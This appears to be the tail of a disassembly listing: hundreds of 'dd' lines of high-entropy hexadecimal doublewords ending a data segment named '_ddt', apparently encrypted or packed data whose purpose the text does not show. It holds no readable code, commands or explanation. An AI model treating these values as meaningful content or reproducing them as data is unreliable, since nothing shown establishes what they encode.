		dd 0AA1C8692h, 0F865D5EFh, 75C96D8Ah, 0A2CD5BE7h, 0ED798711h
		dd 19AD3A5Eh, 4DD87F88h, 0F11AA930h, 547BE667h,	0B9061CAh
		dd 96204CC6h, 882EE702h, 0C9826B2h, 0B8C450FDh,	0EC159F2Ah
		dd 11BECB5Fh, 5FEE7F8Ah, 0F811A3C8h, 6B1FB725h,	5ABD4BF0h
		dd 9C09B5B3h, 0E860F01Dh, 3371087Eh, 0F3EC5AC7h, 0FD09976Bh
		dd 29B7C06Fh, 5CE00F9Bh, 812EBBCFh, 0CD50EF7Ah,	488C12BFh
		dd 0C75436D9h, 0D260E972h, 1AC3442h, 48D42ACCh,	0F603AE3Ah
		dd 214CDA66h, 6DF10EF7h, 912CB3DCh, 0C451FF02h,	29C35ABEh
		dd 0ED9E09BDh, 843B71Fh, 2591FE6Ch, 40EC32C4h, 8E1BA632h
		dd 3944D27Eh, 67F016A3h, 973A4ADFh, 0D86FF506h,	6DFD107Fh
		dd 0A9A20B98h, 0E50F9B25h, 2DF1854Eh, 5AE5739Fh, 8511BFC9h
		dd 38558E76h, 7C8115A2h, 0AB3045E8h, 8A118A1Dh,	57F2641Eh
		dd 7AEC56A2h, 0C835A5DFh, 25F99D5Ah, 50FD0B97h,	9D29B0C6h
		dd 0CC54E40Eh, 75832AB9h, 0A2C45AE2h, 9311B423h, 5C6573Bh
		dd 41D37F89h, 0F155E92Ah, 3C49D763h, 69F504AAh,	95272ADAh
		dd 0C269F803h, 59923B2h, 0E19B22FDh, 0B526C175h, 0E3DDF067h
		dd 5FED46B3h, 0BE2092CBh, 471D99Bh, 61C55996h, 0AC3947D3h
		dd 0D965F21Bh, 90384Ah,	0B1DF6EF5h, 0F4009626h,	57DDF05Fh
		dd 49826BFFh, 852FBBC5h, 0CD11A56Eh, 788513BFh,	0A5315EEFh
		dd 0D17BEE16h, 1EAD3447h, 41D5678Eh, 0AD5FDE33h, 711A8539h
		dd 8CCF33A3h, 0A91582E8h, 0C551B648h, 719522B6h, 0B5C057E0h
		dd 0EE748326h, 7C93FE5Bh, 238819E2h, 8E18A42Eh,	7006CF7Ah
		dd 6CF97AD2h, 993C49D6h, 0DD68FF0Ah, 56E52249h,	0E39E30A2h
		dd 8037AA76h, 2489F6A0h, 6DD57699h, 0B4265EFDh,	781EDB47h
		dd 748817A3h, 0A93643E7h, 0D4688712h, 30AA3944h, 2FBC0EC1h
		dd 0FA18F15Ah, 39B4DC6Ah, 348442D4h, 9F28BECBh,	0C15CEB0Eh
		dd 73822DBBh, 0FE940497h, 0DC28D14Ch, 2F45046Ah, 7E04EBBh
		dd 0F11DAB7Fh, 3441D463h, 6AF403AFh, 94234FDDh,	0C26AF807h
		dd 3C9922B2h, 0DBA03ACDh, 0E66CFD4Eh, 0DB8C856h, 5CE83EC0h
		dd 8017A2CEh, 3540EE73h, 618B18C3h, 0AE3946D1h,	0DC64F018h
		dd 5DCF4E4Bh, 0E18A35A9h, 0F69AC13h, 21B2F25Fh,	62D43E9Ch
		dd 0B01D8D27h, 0CD11A542h, 7A8513BFh, 0A53156E3h, 0D17B8816h
		dd 1EA93641h, 48DC628Fh, 9C339E33h, 4328B902h, 6EF8048Eh
		dd 0D066AFDAh, 0C450FE0Ah, 709522B5h, 0BEAD57E2h, 0E8778329h
		dd 14A1CC5Bh, 30E57A8Eh, 0D347FF6Dh, 0D758328h,	54C6FE9Dh
		dd 0D87E7BE7h, 0DE68F703h, 8972349h, 0B4C36CFBh, 0D00B9827h
		dd 4FDCAE61h, 5AF811FAh, 9914BCCAh, 5424A234h, 7E8810A1h
		dd 0AA3742EFh, 0D2638E1Bh, 5EF46437h, 7C8831ACh, 0CFE5A40Ah
		dd 6780EE5Bh, 51FC0ADFh, 9E28B0C1h, 0CA57E20Fh,	75832EBBh
		dd 0C5A568D7h, 0F11AE370h, 1DA7335Dh, 3D993D96h, 0F11BA853h
		dd 3E49D661h, 6AF502ADh, 0CD7F3EDAh, 913AA559h,	0ECAF1383h
		dd 89F562C8h, 0E571D668h, 14BCCC56h, 5DEB7281h,	8C1CA2CAh
		dd 4B29DC4Bh, 7DEE7FC3h, 0A93B47D1h, 0A12DB102h, 90382Fh
		dd 0B1DF6EF5h, 0F8009626h, 76EC9C1Fh, 64B059C4h, 0B0DEDAFDh
		dd 0C85AE243h, 98B3278Fh, 95016EDCh, 0D17DC254h, 18A83042h
		dd 49D7668Dh, 0F108AE3Eh, 5F25E857h, 719A63F7h,	9D27B3DDh
		dd 0BD19BD16h, 749C2CD3h, 0BDCB52E1h, 0ED7C822Ah, 4AF8902Bh
		dd 70BC2DD8h, 0BBF99006h, 7B74E24Fh, 65F11FE3h,	98344FD6h
		dd 0DE68F703h, 0A91214Bh, 0B7C167F2h, 883FAA26h, 4FDCA22Ch
		dd 5AE47082h, 0CC52A3CEh, 315CEA76h, 7C811FA6h,	0AA5143EEh
		dd 0D6658D1Fh, 3AD334Eh, 158716F2h, 0A952CD61h,	0D7D1E45Bh
		dd 53FE3AA7h, 0AA1C86C6h, 0F865D5EFh, 75C96D8Ah, 0A0C85BE7h
		dd 0ED798512h, 1BA1305Eh, 4DD87C8Fh, 0C01CA937h, 5836BE51h
		dd 6AE861CAh, 89244CDAh, 0C06CB244h, 0D9923B2h,	0B9C452FCh
		dd 0E7759C4Fh, 19B4C853h, 2CE87583h, 0D74BFB91h, 171BF2Ch
		dd 50BAFA91h, 0E47A77E3h, 0DD64F21Eh, 496374Dh,	0B3DF6BF6h
		dd 0FE0B9424h, 2ABDCA6Ah, 3CD33E98h, 0E348DEB8h, 0CE58E46Eh
		dd 30C60FBAh, 0A1305EEAh, 0D07A8311h, 1ECD3742h, 4AD7658Ch
		dd 0FC09AB39h, 7E3DD965h, 3BA658CAh, 0F81F828Eh, 0C261CEF8h
		dd 45AD2BB5h, 8CFEB6D5h, 0A036B31Fh, 14A0CE5Ah,	40E87A81h
		dd 8F1BA732h, 3A47D078h, 66F416AEh, 0F80F7AD4h,	0BF0C927Ch
		dd 0A942052h, 0FC8273FEh, 0E00C9A26h, 2CBCC655h, 5A81739Eh
		dd 8613B9C8h, 3555EF75h, 22F915A1h, 0FF6A1CB6h,	0E254BE4Ah
		dd 309D0DA7h, 4C9125C2h, 0FB07933Eh, 26B8DC62h,	60F40892h
		dd 0F856DEF1h, 0CA48816Ah, 69842CBAh, 0C4B412A4h, 0EE708511h
		dd 1AA03056h, 1D8F0E82h, 0A14AF569h, 2B69EC53h,	6CF7329Fh
		dd 0A2147EDFh, 0F05DCDE7h, 0CD16582h, 0BDC653FEh, 0E4799D2Fh
		dd 10B5C253h, 6ED97187h, 0ED71DDA7h, 3543F318h,	23901FA5h
		dd 0AF5D3F9Bh, 0D066F61Ah, 0C993A4Bh, 0C0DA6EF7h, 0A357CF7Dh
		dd 1D859338h, 64D6EEADh, 0C86E8BF7h, 0CE58E773h, 7A8111BBh
		dd 0A6305AE2h, 0B84FBA1Fh, 7FCC523Ch, 4AD46092h, 0BC42B33Eh
		dd 244FBE1Eh, 65FB0290h, 9027B3DBh, 9A08A07Bh, 40CC7DE8h
		dd 8C3A36D9h, 0ED76811Fh, 0F497FB6Bh, 71DD4AB0h, 8D19EE70h
		dd 3B41D07Eh, 60F81CAFh, 0A03548D6h, 0EB89C036h, 4BA4127Fh
		dd 0B5C16FB3h, 0E9099922h, 24B8C753h, 50E67397h, 8417BDCBh
		dd 5CEC76h, 1FEC7E91h, 0AA28218Ah, 0C9648C1Ah, 0AC7204h
		dd 48DA63F2h, 0F9049236h, 25B9D60Fh, 53FD0294h,	9A28B6C5h
		dd 910B920Eh, 25D671E5h, 53AD60D7h, 0EE7BB623h,	2E90025Ah
		dd 74E1496Bh, 0F155E906h, 3F49D763h, 69F500ACh,	952946DAh
		dd 0C964FB04h, 0F9026B5h, 0D0F762FFh, 8714FD4Eh, 12BCC84Ah
		dd 14AA6B86h, 8814A2CEh, 3443ED78h, 68E91BA6h, 0AD3A47DBh
		dd 0D863FB16h, 74913D42h, 0EF8333A9h, 0C939C774h, 18822259h
		dd 1CA23FABh, 862CBAC6h, 0CC5AE472h, 708D13BEh,	0A4395DEAh
		dd 0D17D8C14h, 2E993745h, 2DB607E7h, 0F503B358h, 6350DF65h
		dd 6DF907DBh, 9B27B3D9h, 0A050FF0Bh, 739C22BFh,	0BACA56EBh
		dd 0E973832Fh, 4AF8902Bh, 70BC2DD8h, 0BBF99006h, 7B74E24Fh
		dd 65F11FE3h, 973B42D2h, 0DA68F703h, 0C97264Eh,	0B4C46FF9h
		dd 0D23D9D2Eh, 49DDB93Bh, 59E76FFCh, 0C70CBBC9h, 315DEB3Fh
		dd 7B8F1EA6h, 0CC3443EFh, 0D6658F1Dh, 5AC3843h,	3CDE6FF3h
		dd 0A75BCB61h, 1E818F3Ch, 60CDF9F7h, 0AC2DB5C7h, 0FFB5D43Ah
		dd 37B01E8Bh, 0A1CD5BAFh
		dd 0E5788316h, 1EA4335Fh, 40D37A8Ah, 0F018AB35h, 0E79D46Ah
		dd 0D917DC7h, 952353B8h, 8370FF05h, 0D9927FBh, 0B1C457FAh
		dd 80709F2Bh, 12B9CB51h, 59E87487h, 0F817ABCFh,	6B1FB725h
		dd 55BD4BF0h, 9C0EA6E5h, 9026C32Fh, 4903E4Ah, 0B0DB62FFh
		dd 0FA0B9722h, 28B5C06Eh, 54E80C99h, 0B21DB2C7h, 0A93A831Bh
		dd 79870FDCh, 0E72C5BE9h, 0D17D8B5Fh, 1AA13E43h, 2CD4638Fh
		dd 0F600A839h, 224FDA67h, 64F9069Ah, 0C67CECAFh, 0F400A954h
		dd 406E4A8Dh, 0BBC051D3h, 843B71Fh, 2591FE6Ch, 40EC32C4h
		dd 8D1EA632h, 3944D278h, 66F018A9h, 973F4AD7h, 0DC6DF703h
		dd 6DFD107Fh, 0A9A20B98h, 0E50F9B25h, 2DF1854Eh, 5FE5739Fh
		dd 8511B9CAh, 365F8E76h, 7C8914A2h, 0A93545EDh,	8A118E1Fh
		dd 57F2641Eh, 7AEC56A2h, 0C835A5DFh, 25F99D5Ah,	55FF0B97h
		dd 9D29B6C3h, 0C95DEA0Eh, 7D882FB8h, 0A3C85AEEh, 844BB614h
		dd 7BC0513Ah, 46D07C96h, 0B85EB732h, 3E48D662h,	68F502AAh
		dd 9C454FDAh, 0C16EFB0Fh, 0C902FBAh, 0C8C251FAh, 0BB2FC775h
		dd 2A8D9B00h, 6CD985E3h, 0B811A4C7h, 3A1D84Eh, 23BC2A97h
		dd 0AD39479Bh, 0DC64F21Ah, 0C903F4Bh, 0B8DE6BFFh, 0F80F9723h
		dd 18B1CB6Dh, 378466A9h, 8230D9A2h, 0D15CE472h,	78845AFCh
		dd 0A5315BEAh, 0D17C8A13h, 1DA13E27h, 49D56A8Ch, 0FD03AA3Dh
		dd 7913AA63h, 3DAE59CDh, 781387EFh, 0F561CE3Ch,	709C62F4h
		dd 0BFCD56E2h, 0E974822Dh, 16A5CF5Dh, 45EC7883h, 0BC11AF33h
		dd 5C3ABA4Dh, 66EC7DCEh, 8D3848D6h, 0DC68BE40h,	0B91224Eh
		dd 0B5C06EF9h, 0E40C9C43h, 2DBBC251h, 50EC729Ah, 0DA48E0BBh
		dd 0CBD28h, 4C7A7699h, 0AC3646DFh, 3457BB2Bh, 319D0A70h
		dd 4CD82EB0h, 0FC03923Eh, 25B0DE68h, 52F90B91h,	9928B4C7h
		dd 0F854EB0Fh, 10FE4689h, 0A2D03982h, 0F17C8412h, 18A47A1Ch
		dd 40D77E8Ah, 0F11CAA34h, 3848D007h, 69F706ADh,	95284EDEh
		dd 9E34A477h, 3CC871ECh, 8F2564CAh, 0A740AE1Bh,	11BDCB1Fh
		dd 5AE17483h, 8A14A3CFh, 3443EF7Dh, 608F18A7h, 9C3844D3h
		dd 0BB009A2Dh, 68C5D2Eh, 0ADD868F6h, 0FC08DE60h, 20B7C26Eh
		dd 55E00E9Dh, 812BB8A3h, 0CE59E671h, 7A8512BDh,	0FD6F2EEAh
		dd 812AD549h, 0EFC90C73h, 41D252BFh, 0C2349E3Ch, 107DED87h
		dd 6DB145A2h, 9F25B3DFh, 0C551F902h, 719B28B6h,	0BEC956E1h
		dd 0EA75822Dh, 7C93FE5Ah, 238819E2h, 8E18A42Eh,	7006CF7Ah
		dd 64F01EAAh, 903A43D0h, 0DE0DF702h, 8972349h, 0B4C36CFBh
		dd 900C9827h, 73E79F0Dh, 6DD523C8h, 0B4265EFDh,	781EDB47h
		dd 7C8816A2h, 0A83140E6h, 0D7638F1Ah, 2AF3840h,	4ED16EF6h
		dd 9037A23Ch, 47D4BA14h, 52FC088Ah, 0D46AABC6h,	0C854E20Eh
		dd 74852CB2h, 0A2A95BE6h, 0EE7B8110h, 10AD375Dh, 1AA17D89h
		dd 0A742F46Eh, 5C73E632h, 6EC5325Ch, 0A1114FD9h, 0F05A1A31h
		dd 44DA1783h, 0B9C452FEh, 0E4709B2Bh, 13BFCB56h, 5EEB7484h
		dd 8A1DAACAh, 5C73DE78h, 3E87ED8h, 0AE3844CEh, 9026EF1Ah
		dd 5903E4Ah, 0B0DC6FF7h, 0FE6D9722h, 2AB7C56Ch,	5CE90B99h
		dd 0DE5DB9C5h, 9B06B82Ah, 4EB022EEh, 9401690Bh,	0D135C926h
		dd 1AA93743h, 49D5658Ah, 0F705AC3Ah, 2944D863h,	5CF80593h
		dd 0FC5ADAEDh, 0C64C9D6Eh, 6D9828B6h, 0BCC81EA0h, 0ED73822Eh
		dd 15A0CE5Ch, 43E978E3h, 8510A437h, 4844D17Fh, 3BAF47F5h
		dd 0AA0D1B80h, 0EC590563h, 3890214Ch, 832158CEh, 0A33CAA17h
		dd 2DB9C71Bh, 58E57599h, 8610BFCBh, 3259E973h, 7F881FAAh
		dd 0C00772E9h, 0B704EA64h, 2AC385Ah, 49A7BF6h, 0FE04923Eh
		dd 24B1DE6Ch, 52990B96h, 9E2DB5C7h, 0CB54EB06h,	2DDF5EBDh
		dd 0F19A05B9h, 0C4FB323h, 29950268h, 44D036C8h,	0F619AA36h
		dd 3D48D661h, 6AFC01ADh, 96214FD3h, 0A85FCA03h,	6FFC45D6h
		dd 0BAC450E2h, 0AC32832Eh, 10BCCA56h, 5CEB7087h, 8A71A3CEh
		dd 3C43E778h, 648F1AA6h, 0F26018A3h, 0E834A540h, 34861E71h
		dd 0B4D968C7h, 1C3FA313h, 1985F258h, 54E046D8h,	802FBCC6h
		dd 0CD58E670h, 7A8C11BDh, 0A43359E2h, 0B84FBA11h, 7FCC5526h
		dd 4AD46092h, 0BC42B33Eh, 264CDA66h, 6CFA0691h,	9A41B3DEh
		dd 0CD53F708h, 769D28B0h, 0E2900893h, 0D824D570h, 2341F86Eh
		dd 3DC4AB7h, 8D19A77Bh,	3040D17Fh, 67F01FABh, 983943D2h
		dd 0DD60F702h, 389D2B4Ch, 0D7A406C9h, 0E210F942h, 31BCC452h
		dd 58E43ADCh, 8112BECAh, 315CEA7Fh, 758C15C7h, 0A9344AEBh
		dd 0DD628F12h, 59F34A4Fh, 1D8E39ADh, 1833A70Fh,	1581EE5Ch
		dd 50FC42D4h, 9B2AB6C2h, 0C954E20Dh, 778026B3h,	0A9C453E6h
		dd 0EF788E15h, 7DCD006Fh, 59B21BE8h, 0F51FAB35h, 3D01957Eh
		dd 6BF503AFh, 95214CDCh, 0C8659E06h, 59825B2h, 0B0C35BF6h
		dd 0BA019D2Ah, 47E2940Eh, 6ADC46D2h, 0B825952Fh, 3409AD4Ah
		dd 678C1BA6h, 0A83D41D5h, 0D96CF11Eh, 6CA30E4Eh, 0D3B80E88h
		dd 0FE08943Eh, 60F6DF6Ah, 53E06AE2h, 8429BDC1h,	0CD50E572h
		dd 21DB62BAh, 0F56601B5h, 304BBF27h, 2D990674h,	49D52ACCh
		dd 0F609A63Ah, 224BDE64h, 5CFC029Ah, 0FC5ADAEDh, 0C64C9D6Eh
		dd 6D9828B6h, 0D8B01EA0h, 0EB778A27h, 1DA3C85Fh, 1E9D7F83h
		dd 0DB46F86Ah, 0E70E22Eh, 54C1294Bh, 907509E6h,	0DF6BF702h
		dd 9942046h, 84C86EF8h,	8472F215h, 2EA4A536h, 45E0709Eh
		dd 0E068F688h, 3254E975h, 7C8A17A2h, 0F16B32E6h, 8536D145h
		dd 0F3CD0077h, 45DD56C3h, 0CE30A238h, 1481E98Bh, 50B549A6h
		dd 9F2BB7C2h, 0C954E006h, 44882EBFh, 0C4B232D5h, 0EE64E576h
		dd 5A0305Eh, 20A836C8h,	0F214A935h, 3C4DD762h, 31AB72A6h
		dd 0C5761185h, 205BCF37h, 3DA91684h, 0B9C51ABCh, 0ED729C2Ah
		dd 12BFC255h, 6ED9778Ah, 0ED71DDA7h, 3543F318h,	23901FA5h
		dd 0AE5D3F9Bh, 0D067FB1Ch, 5983C49h, 0EE843487h, 0CC58C17Ch
		dd 1F55F45Ah, 17D03EABh, 812CBA8Fh, 0CE50E571h,	7F8D12BFh
		dd 0CC036EE9h, 0B318EE68h, 1EA8345Eh, 967F8Ah, 0F703CA42h
		dd 204DD86Eh, 1CFB019Bh, 0C77BEB81h, 0FE61AF5Ch, 40ADD9D7h
		dd 8CF95FEBh, 0DF95B41Ah, 5790FE6Bh, 41EC7ACFh,	8E10A531h
		dd 3A40D076h, 0CC32EACh, 0F3582EA8h, 0DE68F41Eh, 40D63F4Ah
		dd 0B7C30A82h, 0E204982Eh, 5CBEC456h, 7BB2BC1h,	0B121EF9Ch
		dd 6A0A41h, 34CA2793h, 0AA3443EFh, 0DD638718h, 3AB3347h
		dd 33B154C3h, 0E566F75Bh, 21B3DF69h, 29B5498Ah,	952AB4A7h
		dd 0C155EB0Dh, 2AF12DBDh, 0F79204BEh, 0DA4CB642h, 289505BFh
		dd 44993DBAh, 0F31FAB36h, 394CDF6Ah, 58F103ADh,	0F05E26E9h
		dd 0C2709962h, 119C24B2h, 0DCBC1ABCh, 0ED789D29h, 11BFCF52h
		dd 5B70687h, 0D942FD91h, 0C721D44Bh, 66852A97h,	9A0C76D6h
		dd 0E855C5FFh, 3371087Eh, 0D0E75AC7h, 0FA39A6D0h, 1D85CB67h
		dd 64D6EEADh, 601B8FF7h, 0F669D644h, 48B5E1DFh,	94305EE8h
		dd 0E79DBC22h, 2A9C0673h, 78E5556Fh, 0C4F2CE01h, 2744DB57h
		dd 8CCF33A3h, 0AD1582E8h, 0F4661E3Dh, 90AB1F87h, 86F966D4h
		dd 0D845714Fh, 24A6CF5Fh, 770D4CB2h, 0B52C9603h, 17h dup(0)
_ddt		ends


		end start